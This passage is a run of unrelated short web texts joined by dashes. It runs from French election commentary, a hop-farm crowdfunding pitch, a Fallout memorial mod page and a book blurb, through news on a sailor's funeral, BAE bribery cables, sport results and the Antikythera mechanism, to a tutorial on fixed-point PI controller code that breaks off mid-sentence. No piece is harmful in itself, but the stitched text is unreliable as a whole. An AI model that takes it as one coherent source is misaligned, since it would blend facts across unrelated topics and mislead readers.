crook [meaning Mr Chirac], not the fascist [meaning Le Pen père]”. They did: Mr Chirac won more than 80% of votes. Polling suggests Ms Le Pen is a heavy favourite to reach the second round this year. The front républicain seems likely to hold, but just how likely may depend on her opponent.
-Update: FAQ Video  Osborn Brewing is a homebrew shop in Monroe, Ohio. As brewers know, having fresh ingredients is one of the most important factors in making beer. Unfortunately, right now there aren't a lot of hop options for local brewers.  Until now.  We are in the process of turning 86 acres of land into a hop farm. This will provide locally sourced hops to area brewers from the hobby to professional scale. This also means that when it comes time to harvest, brewers will have a source of fresh "wet hops" to use in their seasonal brews. Part of the money raised by your backing will go towards making this a reality. By backing this project, you will help bring us closer to having 100% locally made beers in our area.  Custom brew stand:
-About this mod replica of the 9/11 memorial near the ant mound by camp Mccarren. Permissions and credits Credits and distribution permission Other user's assets Some assets in this file belong to other authors. You will need to seek permission from these authors before you can use their assets  Upload permission You can upload this file to other sites but you must credit me as the creator of the file  Modification permission You must get permission from me before you are allowed to modify my files to improve it  Conversion permission You can convert this file to work with other games as long as you credit me as the creator of the file  Asset use permission You must get permission from me before you are allowed to use any of the assets in this file  Asset use permission in mods/files that are being sold You are not allowed to use assets from this file in any mods/files that are being sold, for money, on Steam Workshop or other platforms  Asset use permission in mods/files that earn donation points You must get permission to earn Donation Points for your mods if they use my assets Author notes ask me. File credits Bethesda and obsidian. Donation Points system This mod is not opted-in to receive Donation Points  Update to V6 for main memorial  Meshes and textures now included for main  Update to V3 for special edition  Meshes and textures now included.  NPC’s set to player faction and tied to an X marker. Depending on your aliment, if your enemies attack the civilians will run and hide and the soldiers will attack with you. After all is clear they will return to their places  ==================================  Name: 9.11 Memorial  Version: V1  Date: 2.09.2011  Category: Buildings  Author: agoon69  ====================================  A fallout version of the 9/11 memorial in New York for the people who lost their lives that tragic day in 2001. This mod is dedicated to the people who died in the attack and to the family members who lost one of their own that day.  Like all things it's not perfect but it's the thought that counts so enjoy and God Bless America!  ====================================  Special Edition:  Add a ceremony to the memorial, with NPC’s, soldiers, and artifacts.  ====================================  Install Instructions:  Drag and drop .esp meshes and textures to your FNV data folder and allow for over write  =====================================  Uninstall Instructions:  Remove .esp meshes and textures  ======================================  Requirements :  Honest Hearts DLC.  Credits:  Bond123: for the animated flag, from his mod Bond’s Animated Flag found hear:  http://www.fallout3nexus.com/downloads/file.php?id=12927  Clintster74: for the Navy SEAL power armor, from his mod Clintster74 Navy SEAL T51B Power Armor. Found hear  http://www.newvegasnexus.com/downloads/file.php?id=41643  ================================  Tools Used:  G.E.C.K.  =================================  Thank You:  Bethesda for the G.E.C.K. and game  OBSIDIAN for the game  Nexus for a place to post and down load mods  ====================================  Legal and Licensing:  Bonds123’s animated flag is free to use just give him credit  You must get permission from Clintster74 to use the Navy SEAL power armor  You may not Modify, Edit or Alter this mod for upload.
-Amazon.com Product Description (ISBN 0385509480, Hardcover)  Haunted by Chuck Palahniuk is a novel made up of stories: Twenty-three of them, to be precise. Twenty-three of the most horrifying, hilarious, mind-blowing, stomach-churning tales you’ll ever encounter—sometimes all at once. They are told by people who have answered an ad headlined “Writers’ Retreat: Abandon Your Life for Three Months,” and who are led to believe that here they will leave behind all the distractions of “real life” that are keeping them from creating the masterpiece that is in them. But “here” turns out to be a cavernous and ornate old theater where they are utterly isolated from the outside world—and where heat and power and, most important, food are in increasingly short supply. And the more desperate the circumstances become, the more extreme the stories they tell—and the more devious their machinations become to make themselves the hero of the inevitable play/movie/nonfiction blockbuster that will surely be made from their plight.  Haunted is on one level a satire of reality television—The Real World meets Alive. It draws from a great literary tradition—The Canterbury Tales, The Decameron, the English storytellers in the Villa Diodati who produced, among other works, Frankenstein—to tell an utterly contemporary tale of people desperate that their story be told at any cost. Appallingly entertaining, Haunted is Chuck Palahniuk at his finest—which means his most extreme and his most provocative.
-This is a masterpost for my transcriptions of Baccano!’s Funimation dub commentary as heard on my copy of the 2007 anime adaptation’s DVD release. I’d like to thank @toushindai for her kind input when I needed a second ear now and then for hard to make out words.  FOLDER LINK  Below are links to the individual transcripts, with the relevant voice actors listed below each one. All four files should always be found in the folder linked above.  Episode 04  Tyler Walker (ADR Director; Line Producer; Vicky; Jack)  Bryan Massey (Ladd Russo)  J. Michael Tatum (Isaac Dian)  Caitlin Glass (Miria Harvent; Assistant ADR Director for eps 5-8)  Episode 07  Tyler Walker  Chuck Huber (Ronny Schiatto; Assistant ADR Director for eps 5-8; Script Writer for eps 4-16)  R Bruce Elliott (Szilard Quates)  Episode 09  Tyler Walker  Ian Sinclair (Dallas Genoard; Assistant ADR Director for eps 5-6 and 8-12)  Jerry Jewell (Claire Stanfield/Vino)  Episode 15  Tyler Walker  Joel McDonald (Jacuzzi Splot)  Chris Patton (Graham Specter)  All transcriptions and footnotes were done to the best of my ability, but occasionally reflect instances in which I was unable to make out certain words or could not confidently identify a speaker. Any and all corrections of errors or speaker identifications are gladly welcome, and will be incorporated accordingly into the files.  The links should stay the same through any and all file replacements in the future, so this masterpost should never necessitate a replacement. If the links at any time cease to work or otherwise have problems - I would be very grateful if you could report such instances to me so I can fix them promptly.
-- There was a moving tribute Wednesday morning to a young woman who died while serving her country.  Members of the "Military Escort Team" led the procession as the casket carrying 23-year-old Danyelle Luckey arrived at Solomon Temple Missionary Baptist Church.  A couple hundred people were on hand for her funeral saying goodbye to the Pittsburg native who joined the Navy to make a better life for herself and her family. She was planning to save money to send her young nephew to college.  As the family arrived at the church, Luckey's father was in uniform. Not his - he had on his daughter's fatigues as a touching way to honor her service.  Luckey died while serving on board an aircraft carrier -- traveling through the Philippine Sea.  She started feeling sick one day, went to rest in her bunk, and never woke up.  The Navy says she suffered cardiac arrest, but her death is still under investigation.  The family says an autopsy is being performed on Luckey and the results should be available in two to three weeks.
-The Tanzanian prosecutor investigating worldwide misconduct by BAE, Britain's biggest arms company, confided to US diplomats that "his life may be in danger" and senior politicians in his small African country were "untouchable".  A leaked account of what the head of Tanzania's anti-corruption bureau, Edward Hoseah, termed the "dirty deal" by BAE to sell Tanzania an overpriced radar system, is revealed in the US embassy cables.  BAE is to appear in court in London tomorrow, when their system of making secret payments to secure arms contracts, exposed by the Guardian, will be officially detailed for the first time.  Every individual involved in the BAE scandal in Britain and Tanzania has escaped prosecution.  But the arms giant agreed with the UK Serious Fraud Office (SFO) to pay £30m in corporate reparations and fines, provided the word "corruption" did not appear on the indictment. A corruption conviction would debar the company from EU contracts.  The former overseas development secretary, Clare Short, said at the time: "It was always obvious that this useless project was corrupt."  Hoseah met a US diplomat, Purnell Delly, in Dar es Salaam in July 2007, and claimed (unrealistically it turned out) he would be able to prosecute guilty individuals in the BAE case. The US cable reports: "He called the deal 'dirty' and said it involved officials from the Ministry of Defence and at least one or two senior level military officers."  Hoseah spoke gloomily about the prospects for Tanzania's anti-corruption struggle and his original hopes to prosecute the "big fish" of corruption.  "He told us point blank ... that cases against the prime minister or the president were off the table ..." The cable then details allegations against former leaders and their inner circles, saying they would be "untouchable".  "He noted that President Kikwete does not appear comfortable letting the law handle corruption cases which might implicate top-level officials." The cable then says Kwitke "does not want to set a precedent" by going after any of his predecessors.  There were "widespread rumours of corruption within the Bank of Tanzania", Hoseah said, and the island region of Zanzibar was also "rife with corruption".  The diplomat noted: "Hoseah reiterated concern for his personal security ... saying he believed his life may be in danger ... He had received threatening text messages and letters and was reminded every day that he was fighting the 'rich and powerful'."  He might have to flee the country. He warned: "He said quietly: 'If you attend meetings of the inner-circle, people want you to feel as if they have put you there. If they see that you are uncompromising, there is a risk.' "  The US embassy noted in a "cynical" aside, that probably the only reason Hoseah felt obliged to attempt a BAE prosecution was because the SFO had presented him with "a fully developed case file, brimming with detailed evidence".  Today's court appearance by BAE is the culmination of lengthy attempts to bring the company to justice since the Guardian exposed its worldwide secret payment system.  The prime minister at the time, Tony Blair, intervened in 2006 to halt an SFO investigation into payments to members of the Saudi royal family.  The US department of justice has had more success than the SFO, forcing BAE to pay $400m (£260m) in penalties under the US Foreign Corrupt Practices Act.  £28m radar deal 'stank'  Tanzania, on Africa's east coast, is one of the poorest states in the world, formerly controlled in turn by Arab slavers, German colonists and the British.  At the time of the radar deal, life expectancy was 45.  Tanzania was forced to apply for debt relief from the west and was heavily dependent on aid. It is ravaged by HIV/Aids and its GDP per head is just $723 (£465).  President Benjamin Mkapa, whose regime did the deal, was succeeded in 2004 by his political colleague Jakaya Kikwete.  Tanzania, which has no air force, bought the military air defence radar from BAE in 2001 for £28m.  It was claimed the Commander system, which was portable and festooned with anti-jamming devices, could also be used for civilian air traffic control.  The country borrowed the cost from Barclays, adding to its debt burden. Both the World Bank and the International Civil Aviation Organisation called the purchase unnecessary and overpriced.  In London, the then development secretary, Clare Short, temporarily blocked aid payments in protest. "It stank," she now says of the sale.  She urged an export licence be withheld, but was overruled by Tony Blair himself. Robin Cook, then foreign secretary, recorded bitterly in his diary that Dick Evans [of BAE] seemed to have "the key to the garden door of No 10 [Downing St]".  In January 2007 the Guardian disclosed that BAE had used an offshore front company, Red Diamond, to secretly pay £8.4m, 30% of the radar's ostensible price, into a Swiss account.  The account was controlled by Tanzanian middleman Sailesh Vithlani. His "consultancy" agreement was, it is alleged, formally signed off in London by Evans.
-A Bombers fan was fatally struck by a car as he rode his bicycle to Monday’s game.  Police are now looking for the driver involved in the fatal crash.  The 69-year-old man was cycling near Bishop Grandin Boulevard and Pembina Highway around 5:30 p.m. when he was struck by a car.  Emergency crews found the man seriously injured and rushed him to hospital in unstable condition.  He has since succumbed to those injuries.  The Winnipeg Blue Bombers issued a statement on the death Wednesday.  "The Winnipeg Blue Bombers are shocked and extremely saddened to hear of the tragic death of long-time fan, Dick Stevenson, while cycling to the pre-season game this past Monday. The thoughts and prayers of our entire organization are with Mr. Stevenson’s family as they mourn this tremendous loss," the statement read.  Police are now asking anyone who saw the collision or knows who was in the vehicle to contact investigators at (204) 986-6271 or Crime Stoppers at (204) 786-TIPS (8477).
-Image copyright Glenturret Image caption The discovery came during an excavation for a new resort  A Perthshire distillery said it was "baffled" after construction workers in China uncovered a large rock with its name engraved on it.  Glenturret has appealed for information after the carving was unearthed during an excavation for a new holiday resort.  Developers said some of the property belonged to a Scottish missionary doctor who worked in the area in the late 1800s and early 1900s.  The find was made at Moganshan, two hours from Shanghai.  It is understood Dr Duncan Main had a castle on the land, built in 1910, that was used as a summer retreat.  The castle passed into the hands of the government of Zhejiang during China's nationalisation, before being handed back to Dr Main's son.  It was then sold to a car company and opened as an inn before being torn down in the 1960s.  The distillery's general manager Stuart Cassells said: "We have yet to find a link between Dr. Main and our own region of Crieff.  "We're wondering if perhaps Dr. Main was such a fan of his native drink that he was one of the first importers of Glenturret whisky to China.  "Another possibility is that the rock has uncovered a link not to Glenturret distillery but to a British steamship called Glenturret that we also know existed."
-One hundred fifteen years ago, an archeologist was sifting through objects found in the wreck of a 2,000-year-old vessel off the Greek island Antikythera. Among the wreck’s treasures — beautiful vases and pots, jewelry, a bronze statue of an ancient philosopher — was the most peculiar thing: a series of brass gears and dials mounted in a case the size of a mantel clock. Archeologists dubbed the instrument the Antikythera mechanism. The genius — and mystery — of this piece of ancient Greek technology, arguably the world’s first computer, is why Google is highlighting it today in a Google Doodle.  What is the Antikythera mechanism?  At first glance, the piece of brass found near the wreck looks like something you might find in a junkyard or hanging on the wall of a maritime-themed dive bar. What remains of the mechanism is a set of rusted brass gears sandwiched into a rotting wooden box.  But if you look into the machine, you see evidence of at least two dozen gears, laid neatly on top of one another, calibrated with the precision of a master-crafted Swiss watch. This was a level of technology that archeologists would usually date to the 16th century, not well before the first.  But a mystery remained: What was this contraption used for?  The world’s first mechanical computer?  To archeologists, it was immediately apparent that the mechanism was some sort of clock, calendar, or calculating device. But they had no idea what it was for. For decades, they debated: Was the Antikythera a toy model of the planets? Or perhaps it was an early astrolabe (a device to calculate latitude)?  In 1959, Princeton science historian Derek J. de Solla Price provided the most thorough scientific analysis of the contraption to date. After a careful study of the gears, he deduced that the mechanism was used to predict the position of the planets and stars in the sky depending on the calendar month. A main gear would move to represent the calendar year, and would, in turn, move many separate smaller gears to represent the motions of the planets, sun, and moon.  So you could set the main gear to the calendar date and get approximations for where those celestial objects would be in the sky on that date.  And Price declared in the pages of Scientific American that it was a computer: “The mechanism is like a great astronomical clock ... or like a modern analogue computer which uses mechanical parts to save tedious calculation.”  It was a computer in the sense that you, as a user, could input a few simple variables and it would yield a flurry of complicated mathematical calculations. Today the programming of computers is written in digital code — series of ones and zeros. This ancient clock had its code written into the mathematical ratios of its gears. All the user had to do was enter the main date on one gear, and through a series of subsequent gear turns, the mechanism could calculate things like the angle of the sun crossing the sky. (For some reference, mechanical calculators — which used gear ratios to add and subtract — didn’t arrive in Europe until the 1600s.)  Scientists have learned even more about how the Antikythera mechanism works  Since Price’s assessment, modern X-ray and 3D mapping technology have allowed scientists to peer deeper into the remains of the mechanism and learn even more of its secrets.  In the 2000s, researchers revealed text — a kind of instruction manual — inscribed on parts of the mechanism that had never been seen before.  The text — written in tiny typeface but legible ancient Greek — helped them complete the puzzle of what the machine did and how it was operated. In all, it’s astounding.  The mechanism had several dials and clock faces, each which served a different function for measuring movements of the sun, moon, stars, and planets, but they were all operated by one main crank:  Little stone or glass orbs that would have moved across the machine’s face to show the motion of Mercury, Venus, Mars, Saturn, and Jupiter in the night sky  The position of the sun and moon, relative to the 12 constellations of the zodiac  Another dial forecasting solar and lunar eclipses — and, oddly, predictions about their color. (Researchers guess that different colored eclipses were considered omens of the future. The ancient Greeks were a little superstitious.)  A solar calendar, charting the 365 days of the year  A lunar calendar, counting a 19-year lunar cycle  A tiny pearl-size ball that rotated to show you the phase of the moon  And this is pretty neat: another dial of the mechanism that counted down the days to regularly scheduled sporting events around the Greek isles, like the Olympics  Again, the mechanics of this are absurdly complicated. A 2006 Nature paper plotted out a schematic of the mechanics that connect all the gears. It looks like this. Not simple.  Researchers are still not sure who, exactly, used it. Did scientists build it to aid their calculations? Or was it a type of a teaching tool, to show students the math that held the cosmos together? Was it unique? Or are there more similar devices yet to be discovered?  Its assembly remains another mystery. How the ancient Greeks accomplished this feat is unknown to this day.  Whatever it was used for and however it was built, we know this: Its discovery changed our understanding of human history, and reminds us that flashes of genius are possible in every human age.  "Nothing like this instrument is preserved elsewhere. Nothing comparable to it is known from any ancient scientific text or literary allusion,” Price wrote in 1959. “It is a bit frightening, to know that just before the fall of their great civilization the ancient Greeks had come so close to our age, not only in their thought, but also in their scientific technology.”  Check out a modern reconstruction of the mechanism in the video below.  Correction: The article originally misstated the timeline of events that led to the discovery of the mechanism. The wreck off the coast of Antikythera was discovered in 1900 by a group of fishermen. It wasn’t until May 1902 that the Antikythera mechanism was identified by an archeologist (today is the anniversary).
-Saracens' Tim Streather tackles Dion Jones of Scarlets  Anglo-Welsh Cup Scarlets (0) 17 Tries: Allen, McBryde Cons: Maynard, McBryde Pen: Maynard Saracens (18) 32 Tries: Tompkins, Gallagher, Ellery, Whiteley Cons: Malins, Whiteley 2 Pens: Malins  Saracens all-but ended Scarlets Anglo-Welsh Cup hopes with a bonus-point win in Llanelli.  The visitors were 18-0 up at the break with Nick Tompins and Matt Gallagher going over.  Morgan Allen struck back for the hosts, but Mike Ellery's touchdown kept the hosts at bay.  Billy McBryde came on to score as Scarlets again threatened, but Tom Whiteley sealed the bonus point with Saracens' fourth try.  Saracens rose to the top of Pool One while Scarlets remained third in Pool Four.  Scarlets: Dion Jones; Tom Williams, Steff Hughes, Gareth Owen, Corey Baldwin; Jack Maynard, Declan Smith; Dylan Evans, Emyr Phillips (capt), Nicky Thomas, Josh Helps, Rynier Bernardo, Jack Condy, Josh Macleod, Morgan Allen  Replacements: Torin Myhill, Gethin Robinson, Peter Edwards, Phil Day, Tom Phillips, Connor Lloyd, Billy McBryde, Richard Smith.  Saracens: Matt Gallagher; Mike Ellery, Tim Streather (capt), Nick Tompkins, Rotimi Segun; Max Malins, Henry Taylor; Titi Lamositele, Scott Spurling, Petrus Du Plessis, Nick Isiekwe, Mark Flanagan, Joel Conlon, Will Fraser, Samu Vunisa.  Replacements: Jared Saunders, Jack Culverhouse, Billy Walker, Kyle Baillie, Ben Earl, Neil De Kock, Tom Whiteley, Dominic Morris.
-Matt Priddis with Sam Mitchell - two Eagles who could retire at the end of the season. Credit:Graham Denholm Priddis already holds the record for best tackle average in the game of 6.69 - ahead of North Melbourne captain Andrew Swallow (6.61) and Essendon's Ben Howlett (6.22) - and needs to lay just 31 tackles to break Hayes' mark. His record-breaking run is even more remarkable given Priddis was picked up by West Coast as a 21-year-old mature-aged player in the 2005 rookie draft after being overlooked for the national draft twice. In his first season, back in 2006, Priddis laid nine tackles in two games but, since then his ability to put the gripe on oppositions players has been nothing short of phenomenal. The West Coast ball-magnet has been in the top 15 in the AFL for total tackles laid from 2007-2016, has finished in the top five most prolific tacklers on five occasions and led the league for tackles in each of the last two seasons.  Priddis is set to create a new benchmark for total tackles in the AFL. Credit:Paul Kane In 2015, Priddis laid 176 tackles, 12 more than second placed Swallow, while last year he wrapped up a player 188 times - 18 more tackles than Swans midfielder Luke Parker. If he keeps up his average of 145 tackles per season over the last 10 years, and 6.69 tackles per game, Priddis will smash Hayes' record by the end of Round 5 and if he plays on in 2018 he could break the 1750 mark. Priddis leads the competition for average tackles and handballs per game. Credit:Morne de Klerk Matt Priddis' tackle numbers by year (number of games played in brackets)  2006: 9 (2)  2007: 128 (24)  2008: 103 (18)  2009: 127 (20)  2010: 130 (19)  2011: 193 (25)  2012: 122 (22)  2013: 129 (21)  2014: 160 (22)  2015: 176 (24)  2016: 188 (22) Career average: 6.69 tackles per game. Most tackles (number of games played in brackets): Lenny Hayes (STK) - 1496 (297) Jude Bolton (SYD) - 1490 (325) Matt Priddis (WC) - 1466 (219) Scott Thompson (ADE) - 1405 (307) Andrew Swallow (NM) - 1374 (208) However, Priddis isn't the only Eagle eyeing with an AFL record in his sights this season.  Prized West Coast recruit Sam Mitchell is on track to break three separate records in 2017 following his outstanding 15-year career at Hawthorn. Mitchell needs to dish off 242 handballs to eclipse Western Bulldogs midfielder Scott West's all-time mark of 4093 which looks a distinct possibility after he racked up more than 300 handballs in each of his last two seasons at Hawthorn. Sam Mitchell is on track to break three AFL records in 2017. Credit:Getty Images. However, despite his prolificacy, the 2012 Brownlow medallist doesn't have the competition's highest handball average - that honour belongs to the aforementioned Priddis whose remarkable average of 15.87 is well clear of new Sydney skipper Josh Kennedy (15.21). Priddis sits an impressive ninth in the all-time handballs table. Most handballs (number of games played in brackets):  Scott West (WB) - 4093 (324) Robert Harvey (STK) - 4008 (383) Sam Mitchell (HAW/WC) - 3852 (307) Simon Black (BL) - 3781 (322) Daniel Cross (WB/MEL) - 3687 (249) Mitchell is also just 15 clearances behind Brisbane Lions star Simon Black's benchmark of 1715 and given he looks likely to start in the middle for West Coast in Round 1, that appears another milestone he could surpass. Priddis also appears in the top five on this list, behind Black, Mitchell, ex-Eagles champion Chris Judd and Adelaide's Scott Thompson. Priddis is a much-maligned player on the east coast because some commentators claim he "doesn't hurt" oppositions teams with his disposal, but the stats don't lie and it puts the 31-year-old in the top bracket of players in the AFL over the last decade. Most clearances (number of games played in brackets): Simon Black (BL) - 1715 (322)  Sam Mitchell (HAW/WC) - 1700 (307)  Chris Judd (WC/CAR) - 1499 (279)  Scott Thompson (ADE) - 1422 (307)  Matt Priddis (WC) - 1359 (219)  Matt Priddis handballs to Sam MItchell during the JLT Community Series, Credit:Getty Images The final record in the ex-Hawks sights is a sign of his consistency, with Mitchell only three 30-disposal games away from beating St Kilda's Robert Harvey's mark of 118 games where he racked up 30 possessions or higher. Given Mitchell had 10 games with 30 more more possessions in 2016 and as well as a remarkable 16 times in 2015 (including in all four Hawthorn finals), this seems like another record he could own come season's end. Especially if his dazzling 39-possession, seven clearance game against Melbourne in the Eagles final pre-season game is anything to go by. Most instances of 30 disposals or more in a match (number of games played in brackets):
-This two-part article explains five tips to make a fixed-point PI controller work well. I am not going to talk about loop tuning -- there are hundreds of articles and books about that; any control-systems course will go over loop tuning enough to help you understand the fundamentals. There will always be some differences for each system you have to control, but the goals are the same: drive the average error to zero, keep the system stable, and maximize performance (keep overshoot and delay low). Save your questions about stability and performance for someone else, and let's focus on implementation details.  Let's start with the basics. You have some quantity y(t) you'd like to control to match a command signal u(t). You can sense y(t) with a sensor. In order to control y(t), you have an actuator that you send a signal x(t).  (Diagram from the Wikipedia entry on PID controllers. Actuator signal = output of the rightmost summing block = input to plant/process is not labeled, but corresponds to x(t).)  The way to do this with a PI controller is to calculate the error e(t) = u(t)-y(t), then calculate x(t) = Kp * e(t) + Ki * integral(e(t)). (We're not going to include a D term in the controller; most systems don't need one, which is something I'll discuss in Part II. The integral term is important because it lets you reach equilibrium with zero steady-state error; the integrator output is what's able to drive the output with zero error, since at that point the proportional term is zero.)  Or at least that's the textbook approach.  1. Canonical discrete-time form: a PI controller in the digital world  Analog systems can implement the PI controller directly, but digital systems have to restate the problem slightly.  In a digital PI controller, you will almost always have a controller that executes at a fixed timestep dt, and instead of continuous-time signals, you have discrete variables that are updated at that fixed timestep. The usual method, at least conceptually, is to number the timesteps 1, 2, 3, 4, ... n. This doesn't mean you need to make an array in your program, just that for analysis purposes you can think of it as an array with an index that increments for each timestep.  The PI controller can be analyzed using z-transforms if it's put into a canonical form:  x[n] = x[n-1] + a*e[n] + b*e[n-1]  In other words, the actuator control signal is equal to its old value plus some gains times the previous and current error terms.  You can relate a and b to the proportional gain Kp and integral gain Ki as follows:  x(t) = Ki*integral(e(t)) + Kp*e(t)  dx/dt = Ki*e(t) + Kp*de/dt  (x[n]-x[n-1])/dt = Ki*e[n] + Kp*(e[n]-e[n-1])/dt (approximating derivatives with discrete differences)  x[n] - x[n-1] = Ki*e[n]*dt + Kp*(e[n]-e[n-1])  and therefore, by matching terms, get a = (Ki*dt + Kp), b = -Kp.  To implement this in a program, the PI controller becomes:  e_prev = e;  e = u - y;  x_prev = x;  x = x_prev + a*e + b*e_prev;  And to analyze with MATLAB or another numerical toolset, the controller can be written in terms of z-transforms:  (1 - z-1)x = (a + bz-1)e  x = e * (a + bz-1)/(1 - z-1)  Got it?  Good. Now throw it out, because although this form may be useful for modeling in numerical analysis software, it has problems in real systems.  Why?  Well, for one thing, the canonical form gains a and b have indirect significance: you'd like to tune proportional and integral gains directly, or maybe proportional gain and time constant (= Kp/Ki) directly, and instead you're forced to deal with this a and b nonsense. If I use a and b and someone asks me what the integral gain is, or I want to double the integral gain, I have to get out my calculator and figure it out.  The other two reasons have to do with nonlinearity. In linear systems, you can prove that this canonical form is equivalent to one of several other possible implementations of a PI controller. I'm going to come back to this issue a little bit later, as it's rather subtle, and instead will talk about an aspect of PI loop implementation that's a bit easier to understand.  2. Which comes first, the integrator or the gain?  Let's look at the integral term of the controller, Ki*integrator(e(t)).  Integration and scaling are two linear operations, and that means in a perfect linear system,  Ki*integrator(e(t)) = integrator(Ki*e(t))  In a digital controller, you could implement this in one of the following ways:  // option A: integrate, then scale  e_integral = e_integral + e*dt;  x = Kp*e + Ki*e_integral;  // option B: scale, then integrate  x_integral = x_integral + Ki*e*dt;  x = Kp*e + x_integral ;  In a linear system, the two are exactly equivalent.  But there are five reasons to choose option B over option A. Two of these reasons are related to nonlinearity, and one reason is related to time-varying systems, and we'll talk about those in a little bit, but the remaining two are a bit more straightforward.  Reason #1: integrator unit significance  Let's talk about a typical example. You've got a current controller based on an actuator (perhaps a switching circuit) with a voltage command. The sensor y, the command u, and the error term e, are all currents measured in amperes. The actuator command x is a voltage measured in volts.  Now what about the integral terms? In option A, the integral term e_integral is ampere-seconds = coulombs. In option B, the integral term x_integral is a voltage measured in volts.  Here's the lesson I want you to learn:  If you integrate and then scale, the integrator is measured in units of the integrated input unit.  If you scale and then integrate, the integrator is measured in the same units as the output.  If you choose option B, the integrator's significance is more directly related to the controller output. It's a subtle difference, but one that in my experience is very important.  Reason #2: folding the timestep into the integrator implementation  There's a related reason that has to do with this timestep value dt. If you choose option B, you can fold the timestep into the integral gain, and make Ki2 = Ki * dt:  // option B2: scale, then integrate; Ki2 = Ki*dt  x_integral = x_integral + Ki2*e;  x = Kp*e + x_integral ;  This saves you a multiply step, requiring less time to execute in a processor. If you try to do this with option A, it looks like this:  // option A2: integrate, then scale; Ki2 = Ki*dt  e_integral = e_integral + e;  x = Kp*e + Ki2*e_integral ;  This will work just as well as option B2, saving a multiply step, but now the units of the variable e_integral are kind of weird. Dimensional analysis tells us they're the same units as the input value: if e is measured in amperes and you add it to a variable, then that variable must also be measured in amperes. But on the other hand, you're summing a variable over time, so the real units of e_integral are coulombs scaled by 1/dt. That's right, the units of the integrator now depend on the timestep value, and are a numerically-scaled integral of the input unit. Ick. This makes my head hurt.  Reason #3: time-varying gain  Here's a thought experiment. Let's say I've got two controllers. One is option A (integrate, then scale), and the other is option B (scale, then integrate). The system is stable, and the output has reached equilibrium.  Now all of a sudden I decide to double the integral gain. (Assume the new gain would still keep the system stable.) What happens?  In option A, the integrator's output value doubles, so my output suddenly jumps and presents a disturbance to the system, which will decrease as the system regains equilibrium.  In option B, the integrator's output value remains essentially the same. The output doesn't jump and the system remains at equilibrium.  Got that? If you change the integral gain suddenly with option A, your controller will see a glitch; with option B, it won't.  It's that simple.  One corollary or side-effect of this is when you set the integral gain to zero. With scale-then-integrate, you have an integrator that will keep its output constant, and you can use it as an offset that you can manually adjust. With integrate-then-scale, the integrator's effect on the output is zero. I prefer an offset that I can adjust.  Reasons #4 and #5: nonlinearities  So far, we've talked only about linear systems. It's time to start talking about nonlinearities, and to do so we'll skip ahead to the third important concept I want to bring up, and come back to the integrate-then-scale vs. scale-then-integrate debate in a bit.  3. Integrator windup  Let's go back to our example of a current controller.  Suppose we command u = 1A of current, and it takes a command to our output actuator x = 7.2V to reach equilibrium. Great.  Now suppose we want u = 2A of current. To do this x = 14.4V.  Now suppose we want u = 10A of current. To do this x = 72V.  Now suppose we want u = 1000A of current. To do this x = 7200V.  Now suppose we want u = 1,000,000A of current... what? You're telling me we're not going to be able to get a million amperes of current out of our system?  Linear systems have the wonderful property that their output scales identically to their input. But no real system that I know of is perfectly linear: at some point we run into some physical limit that prevents us from exceeding a maximum, or we run into a phenomenon that is negligible at small values of input/output values, but starts to grow faster than linearly as the amplitude increases. An example of the former is op-amp saturation (an op-amp cannot output more than its supply rails); an example of the latter is mechanical vibrations -- at small amplitudes, most materials have a linear stress-strain relationship, but at larger amplitudes, you can run into buckling or plasticity.  Suppose we have a current controller that has an actuator supplied by a 14.4V power supply, and we can get up to 2A of current out of it.  Now we increase the commanded current to 2.1A, a 5% increase. The error is 0.1A; the proportional term will jump 5% immediately, and the integral term will gradually increase. But our actuator is only able to deliver 14.4V, and the 0.1A error persists as long as we wait. We'll soon ask for 15V, 20V, 30V, 50V... supposing we wait until our controller output is 100V, and we decide to set the commanded current to 0.  What's our output current? Well, the error will be 0A command - 2A current = -2A until the actuator command drops below 14.4V, but it's going to take a while for the integrator to decrease down to the point where the output decreases below 14.4V. In the meantime the output current will still be 2A.  This phenomenon is called integrator windup, and it's present in all real systems with an actuator saturation limit where the controller that doesn't take this into account somehow.  There are many ways to prevent integrator windup (look up "anti-windup" and you'll find lots of articles), but the two most common are the following:  limit the integrator output  add another feedback term that represents the error due to windup  The first approach, which I've used extensively in motor controllers, is to disallow integrating in the direction the actuator has saturated, but allow integration in the other direction, which would bring the integrator away from saturation. Here's a sample program implementation, which I'll call my Preferred Implementation, because it's the one I generally use in most control systems:  if ((sat < 0 && e < 0) || (sat > 0 && e > 0))  ;  /* do nothing if there is saturation, and error is in the same direction;  * if you're careful you can implement as "if (sat*e > 0)"  */  else  x_integral = x_integral + Ki2*e;  (x_integral,sat) = satlimit(x_integral, x_minimum, x_maximum);  x = limit(Kp*e + x_integral, x_minimum, x_maximum) ;  /* satlimit(x, min, max) does the following:  * if x is between min and max, return (x,0)  * if x < min, return (min, -1)  * if x > max, return (max, +1)  *  * limit(x, min, max) does the following:  * if x is between min and max, return x  * if x < min, return min  * if x > max, return max  */  The second approach, which I'll call the "shortcoming-feedback" anti-windup approach, is less familiar to me, but I've seen it in many papers:  x_integral = x_integral + Ki2*(e - Ks*x_shortcoming);  x_ideal = Kp*e + x_integral;  x = limit(x_ideal, x_minimum, x_maximum);  x_shortcoming = x_ideal - x;  The idea here is that you integrate normally, but as soon as you have to limit the output, take the discrepancy between the limited output and the ideal output, and feed it back into the integrator. If the output hasn't reached the limit, the integrator behaves normally, but if it has reached the limit, it will stop integrating because this discrepancy will balance out the error.  There are lots of subtleties about anti-windup compensation that I won't get into here -- I just wanted to bring the issue to your attention, and you can read more about it on your own. (For an interesting reference, see this short paper from Warsaw Polytechnic which presents 11 different variants on anti-windup PI controllers; the two I've mentioned are in figures #10 and #7)  Consequences of integrator windup in PI controller structure  If you use the stop-integrating-when-the-integrator-reaches-the-saturation-limit approach, you have to know what the saturation limit is. That seems kind of obvious, but let's go back and look at some of our implementation alternatives:  Canonical form:  x[n] = x[n-1] + a*e[n] + b*e[n-1]  e_prev = e;  e = u - y;  x_prev = x;  x = x_prev + a*e + b*e_prev;  Where's the integrator? Well, it's buried in this equation and combined with the proportional term. But you can try to take the same approach with the output x:  e_prev = e;  e = u - y;  x_prev = x;  dx = a*e + b*e_prev;  if ((dx > 0 && sat > 0) || (dx < 0 && sat < 0))  ;  /* do nothing if there's saturation and we would otherwise increase the output  * in the same direction  */  else  x = x_prev + dx;  (x,sat) = limit(x, x_minimum, x_maximum);  This looks like it might work, and if you try it in your system, it might appear to work.  But it has a little problem.  Suppose we have a noisy sensor, which isn't that out of the ordinary. Instead of the error being a nice smooth input that gradually decays down to zero, the error will be bouncing around, sometimes a small negative amount and sometimes a small positive amount.  Let's say we're exactly at the upper saturation limit for our output actuator. In our 